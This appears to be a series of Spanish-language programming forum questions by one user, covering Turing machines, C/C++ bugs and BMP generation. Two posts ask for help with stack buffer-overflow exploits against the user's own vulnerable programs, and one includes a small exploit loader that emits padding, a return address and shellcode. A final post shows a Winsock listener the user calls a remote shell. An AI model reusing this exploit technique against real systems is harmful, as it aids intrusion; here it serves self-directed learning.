https://alf.nu/ReturnTrue

Debo conseguir true desde una funcion que retorna  x != x

Intente con numeros pero siempre serán iguales en la comparacion. Alguna cosa matematica interesante que no sea igual a si misma? Gracias.

Hola, estoy intentando comprender la maquina de turing, pero no entiendo como procesa los datos.

Hasta donde sé, la maquina de turing es algo que lee/escribe en una cinta unos datos codificados por un alfabeto, dependiendo del estado interno en que se encuentre la maquina. Hace avanzar el puntero hacia la cinta, hacia delante o hacia atras (izquierda, derecha).

El alfabeto, por lo que he leido, es un conjunto de simbolos que denotan datos. Ej {0, 1}, en binario, para codificar las instrucciones y los datos.

Lo que no entiendo es como hacer para procesar los datos, ni tampoco donde tiene guardadas las instrucciones ni como se definen.

Por lo que he leido, parece ser que revisa una lista de estado y comprueba si el caracter leido coincide con alguno. Por favor, expliquenme más o menos de una forma más clara, evitando el formalismo matematico, o complementandolo.

Gracias. Mientras tanto seguiré leyendo. Es solo por curiosidad, para entender eso de P vs NP.

Hola, amigos. Estoy desarrollando un procesador sencilo de 8 bits. Quiero ponerlo a calcular digitos de PI. Será que alguno de ustedes tiene un algoritmo de PI en ensamblador?? Ya encontré algunos en C pero no son muy exactos porque difieren de lo que hay en paginas.

¿Será que alguien puede brindarme un algoritmo que sea en ensamblador y que solo use enteros para calcular los digitos de PI?

Es que mi procesador todavía no va a soportar coma flotante.

Pueden escribir a mi correo bloqueado si quieren alguna cosa mas.

Gracias de antemano.

Hola, estoy haciendo un juego. Estoy iterando por una lista de clientes y cuando un valor coincida, es decir, cuando la busqueda encuentre el valor deseo cambiar alguna propiedad de él.

He intentado hacer lo siguiente:

it = lista.begin();
    player_node = (*it);
    player_node.position = vector3df(20, 20, 20);
    *it = player_node;
 

Pero no funciona. Por favor ayuda con eso. Ya lo he buscado pero no encuentro solucion. Gracias de antemano.

Hola, amigos. Estoy usando una lista STL. Tengo una estructura llamada player, cuya definicion es:

struct player{
    SOCKET player_connection;
    vector3df position;
    vector3df rotation;
    int life;
};
 

El problema está al crear un iterador:

list<struct player>::const_iterator it;
 

Al compilarlo me detecta un error del tipo:

error: reference to 'list' is ambiguous|

Pruebo con un tipo de dato mas simple, como un SOCKET o un int, y funciona. ¿Por que ocurre eso?

Mientras tanto iré buscando tambien en otros sitios. Gracias de antemano.

Hola, amigos, estoy haciendo pequeños experimentos, y necesito leer un archivo.

Resulta que el codigo lo que hace es cargar el archivo en una memoria dinamica a traves de un puntero, pero al usar fread capta algo como "COM;<" al final del archivo, cosa que no es verdad.

No sé de donde aparece, pero les dejo el codigo, por si pueden ayudar, gracias.

///This program receives a list of files in a text file, and glue togheter with a plus:
///all are compressed. The program can extract one file if the user wants it. The package
///can not be modified.
 
#include <stdio.h>
#include <stdlib.h>
 
struct package_header{
    int magic_number; //0xDEADBEFF;
    int number_of_files_stored;
};
 
struct file_entry{
    char file_name[64];
    int file_start;
    int file_size;
};
 
int main(int argc, char *argv[])
{
    if(argc < 2){
        printf("Usage: mesa-pack.exe <list of files to package.txt>\n");
    }
 
    FILE *list_of_files;
    FILE *package;
    int filesize;
    char *content;
    char *token;
 
    list_of_files = fopen(argv[1], "rb");
    if(list_of_files == NULL){
        printf("File list is damaged or computer unexpected error while opening file. Try again.\n");
        return -1;
    }
 
    fseek(list_of_files, 0, SEEK_END);
    filesize = ftell(list_of_files);
    fseek(list_of_files, 0, SEEK_SET);
 
    content = (char *)calloc(filesize, sizeof(char));
 
    //memset(content, 0, filesize);
 
 
    fread((char *) content, filesize, 1, list_of_files);
 
    printf("filesize = %d\n", filesize);
    printf("File content: %s\n", content);
 
    printf("Showing list of files to package...\n\n");
    token = strtok(content, "\n");
    while(token != NULL){
        printf("token = %s\n", token);
        token = strtok(NULL, "\n");
 
    }
 
    free(content);
 
 
    return 0;
}
 
 

http://subefotos.com/ver/?dba9f455a39df69e79173249a0764a0fo.jpg

Hola, estoy haciendo un programa que crea archivos bmp de las dimensiones que yo quiera, y lo rellene en gris, y listo. El programa para las dimensiones 100x100 funciona, pero más allá falla algunas veces, principalmente si es más de 1000;

¿Pueden decirme como eliminar ese error que dice SIGSEV en chkstk_ms()??
¿Es mi codigo o sólo el compilador?

Si uso valores en WIDTH Y HEIGHT de 100, todo normal. Si me paso a 10000, se tranca y devuelve en depuracion SIGSEV en un chkstk_ms(), y ni muestra el primer printf. ¿Debo reinstalar el compilador o algo así? Al menos el error debería ser puntual, y no general.

Gracias de antemano.

#include <iostream>
#include <strings.h>
#include <stdlib.h>
#include <stdio.h>
 
#define WIDTH 10000
#define HEIGHT 10000
 
///DONE:
///     Mas o menos crea la imagen.
///     Cuando se pasa de 1000 ambos, ocurre una falla.
///     del tipo Violacion de Segmento.
 
///Error oculto solucionado: No consideraba las iniciales BM (2 bytes) al tamaño
///del archivo, muy importantes.
 
///TO-DO:
///     -Fill the image with interesting data.
 
///     -El programa lo unico que debe hacer es soportar colorear de azul,
///     un cuadro de 1000, pixeles.
 
///     -Hay un problema con lo que significa el manejo del formato, en si mismo
///     -No puedo exceder los 1000px, debe ser algo relacionado con el padding.
 
///     -Si grabó tal cual se le asignaron los valores a la matriz,
///      por tanto el error es de interpretacion. La escritura está bien.
///      aprender como manejar los bytes y dibujar un cuadrado, o algo así.
///     -Si soportó el array de bmp_pixeles, pero grabó basura
///     -Sin embargo, el formato quedó intacto.
 
using namespace std;
 
char bmp_sign[2] = {'B', 'M'}; /// = "BM";
 
struct bmp_format{
 
    unsigned int filesize; /// = filesize
    unsigned short reserved_a; /// = 0;
    unsigned short reserved_b; /// = 0;
    unsigned int start_of_data_image; /// = 54
    unsigned int bitmap_header_size;
 
    unsigned int width;
    unsigned int height;
    unsigned short number_of_planes;
    unsigned short bits_per_pixel;// = 1;
 
    unsigned int compression; /// = 0;
    unsigned int size_of_image; /// = 0;
    unsigned int horizontal_resolution; /// = 0
    unsigned int vertical_resolution; /// = 0;
    unsigned int size_of_color_palette;
    unsigned int counter_of_interesting_colors;
};
 
struct bmp_pixel{
    unsigned char red;
    unsigned char green;
    unsigned char blue;
};
 
int main()
{
    FILE *bmp_file;
    FILE *debug_image;
    FILE *debug_binary;
 
    printf("Abriendo archivos bmp y debug respectivos\n");
    bmp_file = fopen("C:\\output.bmp", "w+b");
    //debug_image = fopen("C:\\image_in_bin.hex", "w+b");
    //debug_binary = fopen("C:\\memory_in_bin.hex", "w+b");
 
    bmp_format bmp_format;
    memset(&bmp_format, 0, sizeof(bmp_format));
    printf("Estableciendo bmp format a NULL para mantenerlo limpio\n");
 
    unsigned int number_of_data_bytes;
 
    ///Initializing data
    ///TO-DO: Design a better method to adjust values than
    ///hard-code it.
 
    bmp_format.start_of_data_image = 54;
    bmp_format.bitmap_header_size = 40;
    bmp_format.width = WIDTH;
    bmp_format.height = HEIGHT;
    bmp_format.number_of_planes = 1;
    bmp_format.bits_per_pixel = 24;
    bmp_format.compression = 0;
    bmp_format.size_of_image = number_of_data_bytes;
    bmp_format.horizontal_resolution = 0;
    bmp_format.vertical_resolution = 0;
    bmp_format.size_of_color_palette = 0;
    bmp_format.counter_of_interesting_colors = 0;
 
    ///TODO: This value must have a formule:
    ///     -bmp_header + ([width * height] * 3 bytes of rgb)
    ///TODO: Use it over hardcoded values.
    number_of_data_bytes = (WIDTH * HEIGHT) * 3;
    bmp_format.filesize = 2 + sizeof(bmp_format) + number_of_data_bytes;
 
    printf("Ya fueron rellenados todos los campos de bmp format!!\n");
 
    fwrite((char *) &bmp_sign, 2, 1, bmp_file);
    fwrite((char *) &bmp_format, sizeof(bmp_format), 1, bmp_file);
 
    printf("Grabando bmp format + la señal de BM\n");
 
    /*struct bmp_pixel pixeles[WIDTH][HEIGHT];
*/
 
    char pixeles[WIDTH * HEIGHT * 3];
    for(int i = 0; i < number_of_data_bytes; i++){
        pixeles[i] = 0x50;
    }
 
/*
    ///Clear pixeles and zero it to avoid filter my
    ///system data on memory swap.
    memset(pixeles, 0, sizeof(pixeles));
 
    for(int e = 0; e < WIDTH; e = e + 5){
        for(int i = 0; i < HEIGHT; i++){
            pixeles[i][e].blue = 0xDE;
            pixeles[i][e].red = 0xAD;
            pixeles[i][e].green = 0xff;
        }
    }*/
 
    ///fwrite((char *) pixeles, number_of_data_bytes, 1, debug_image);
    ///fwrite((char *) pixeles, number_of_data_bytes, 1, debug_binary);
    ///fwrite((char *) pixeles, (WIDTH * HEIGHT * 3), 1, bmp_file);
 
    fclose(bmp_file);
    cout << "Dibujador de BMP. En progreso y con futuro." << endl;
    return 0;
}
 

Hola. Edito mi pregunta para ser más preciso: Mi duda es: Puede el compilador agregar algo "de más" entre variables de la stack???

Tengo un Tiny C Compiler, sin protecciones ni a nivel de compilador ni a nivel de Windows XP.

Puede ser que algo llamado "alignment" esté haciendo fallar mi exploit?? He enviado la cantidad de bytes necesarios para desbordar mi propio TCP server. Cuando el buffer destino es de 20 bytes, funciona. Pero si es de 60, no lo hace.

Y estoy enviando la cantidad de bytes necesarios para desbordarlos + la shellcode, así, que en teoría debería hacer lo que quiero, pero en la práctica salta hacia un ret addr extraño.

Adjunto links a un sitio de tipo pastebin, para no abrumar aqui en el foro.
Aqui les dejo mis codigos fuente:

Todos ellos funcionan si el buffer small es de 20 y el big de 30. Cambiando el valor de ambos por 60 y 120, no funcionan. Ahi están mis sources, por si alguien los quiere ver.

(Uso winsock2.h, si alguna cosa lo renombran sin el 2)

Mi TCP server (source escrito por mi)
http://tny.cz/2dc66ee0

Mi TCP exploit
http://tny.cz/dc9295ba

Mi shellcode
http://tny.cz/c4426347

Aqui está el programa objetivo, ya compilado, a peticion de un usuario. Para que no digan que es que uno quiero que resuelvan por mi.
https://drive.google.com/file/d/0Bxshgu4STp1aUXpsYmMySWhqS3c/view?usp=sharing

Gracias de antemano por su atencion.

Hola, estoy tratando de aprender sobre los stack-based buffer overflows, y para ello he construido mi propio programa vulnerable. Estoy teniendo problemas. Estoy tratando de jugar con la direccion de retorno para hacer ejecutar funciones que nunca son llamadas. Pero no puedo conseguirlo bien.

El programa vulnerable, recibe una cadena desde el usuario de 16 bytes, y luego la copia en un buffer de 8 bytes usando strcpy. He escrito un exploit sencillo, al cual le indicas cuantos bytes inutiles deseas, y luego la direccion de retorno en hexadecimal.

Pero cuando sobreescribo la funcion de retorno, solo una funcion se ejecuta, las demas (sabiendo su direccion) no lo hacen. ¿Por que sucederá eso? ¿Puede alguien explicarme como sobreescribir bien la direccion de retorno?

Exploit.c

/*Simple Exploit loader
 
    usage: exploit.exe <trash_bytes> <ret addr>
 
    Recibe la cantidad de bytes inutiles necesario para desbordar el buffer
    y usa la direccion de retorno en hexadecimal, convertida a un binario
    plano en un int de 4 bytes, y enviado al revés (por ser little endian, o
   al menos eso pensé cuando lo cree)
 
*/
 
#include <stdio.h>
#include <stdlib.h>
 
union ret_addr{
    char bytes[4];
    unsigned int raw;
};
 
int load_file_on_buffer(char filename[], void **ptr_buffer_destiny){
    FILE *file_loaded;
    void *buffer_destiny;
    unsigned int file_size;
 
    file_loaded = fopen(filename, "rb");
    if(file_loaded == NULL)
        return 0;
 
    fseek(file_loaded, 0, SEEK_END);
    file_size = ftell(file_loaded);
    fseek(file_loaded, 0, SEEK_SET);
 
    buffer_destiny = (void *) malloc(file_size+1);
    *ptr_buffer_destiny = buffer_destiny;
 
    fread((char *) buffer_destiny, file_size, 1, file_loaded);
    buffer_destiny[file_size] = '\0';
 
    //printf("BEGIN DEBUG FILE\n");
    //printf("%s", buffer_destiny);
    //printf("\n\nEND DEBUG FILE\n");
 
    fclose(file_loaded);
 
    return file_size;
 
}
 
int main(int argc, char *argv[]){
 
    FILE *shellcode_file;
    char *shellcode;
    int file_size;
 
    int trash_bytes = atoi(argv[1]);
    union ret_addr ret_addr;
    ret_addr.raw = (unsigned int) strtol(argv[2], NULL, 16);
 
    int i = 0;
    for(i; i < trash_bytes; i++){
         printf("a");
    }
 
    if(argc == 3){
    printf("%c", ret_addr.bytes[3]);
printf("%c", ret_addr.bytes[2]);
printf("%c", ret_addr.bytes[1]);
printf("%c", ret_addr.bytes[0]);
}
 
    file_size = load_file_on_buffer("shellcode.bin", &shellcode);
 
    for(i = 0; i < file_size; i++){
         printf("%c", shellcode[i]);
    }
 
}
 

Gracias de antemano. No sé si habrá algo mal con mi exploit. Ya me he estado leyendo la stack y como funciona. Seguire buscando en internet....

EDIT 1:

Estoy jugando con un programa tipo TCP servidor hecho por mi mismo, y en vez de sobreescribir EIP, sobreescribo EDX. ¿Puede alguien decirme por qué? Gracias de antemano.

Hola. Estoy desarrollando algo que podría llamarse "shell remota" porque recibe comandos desde una máquina externa. En realidad es una computadora que está a la escucha de comandos, los interpreta y devuelve un resultado.

El problema está en que yo quiero recibir los carácteres recibidos como un bloque, es decir, como un comando completo. Pero cuando lo intento, pareciera ser que voy recibiendo byte a byte, en vez de toda la informacion transmitida.

Por favor, si pueden ayudarme estaría muy agradecido. Adjunto el código para que vean que el receptor no puede interpretar el comando "ATTACK".

/* Enlazar Ws2_32 */
#define _WIN32_WINNT 0x0501
#include <stdio.h>
#include <winsock2.h>
#define PUERTO 8080
 
WSADATA wsa_data;
SOCKET listen_socket, cliente;
struct sockaddr_in clientinfo, servicio;
int rtn;
char buffer[256];
 
void print_buffer(char *buffer, unsigned int bytes) {
    while(bytes--)
        putchar(*buffer++);
 
}
 
int main() {
    if ((rtn = WSAStartup(MAKEWORD(2,2), &wsa_data)) != 0) {
        fprintf(stderr, "Error WSAStartup: %d\n", rtn);
        return 1;
    }
 
    if((listen_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {
        fprintf(stderr, "Error en socket: %d\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
 
    servicio.sin_family = AF_INET;
    servicio.sin_addr.S_un.S_addr = INADDR_ANY;
    servicio.sin_port = htons(PUERTO);
 
    if((rtn = bind(listen_socket, (struct sockaddr*) &servicio, (int) sizeof(servicio))) == SOCKET_ERROR) {
        fprintf(stderr, "Error en bind: %d\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
 
    if (listen(listen_socket, SOMAXCONN) == SOCKET_ERROR) {
        fprintf(stderr, "Error en listen: %d\n", WSAGetLastError());
        closesocket(listen_socket);
        WSACleanup();
        return 1;
    }
 
    if((cliente = accept(listen_socket, (struct sockaddr*)&clientinfo, NULL)) == INVALID_SOCKET) {
        fprintf(stderr, "Error en accept: %d\n", WSAGetLastError());
        closesocket(listen_socket);
        WSACleanup();
        return 1;
    }
 
    closesocket(listen_socket);
 
    printf("Cliente IP: %s\n", inet_ntoa(clientinfo.sin_addr));
 
    do {
        rtn = recv(cliente, buffer, sizeof(buffer), 0);
 
        if(rtn > 0) {
            print_buffer(buffer, rtn);
            if(strcmp(buffer, "ATTACK") == 0){
                printf("ATTACK COMMAND ISSUED!!\n");
            }
        } else if(rtn == 0)
            printf("Cerrando la conexión...\n");
        else {
            fprintf(stderr, "Error en recv: %d\n", WSAGetLastError());
            closesocket(cliente);
            WSACleanup();
            return 1;
        }
    } while(rtn > 0);
 
    closesocket(cliente);
    WSACleanup();
 
    return 0;
}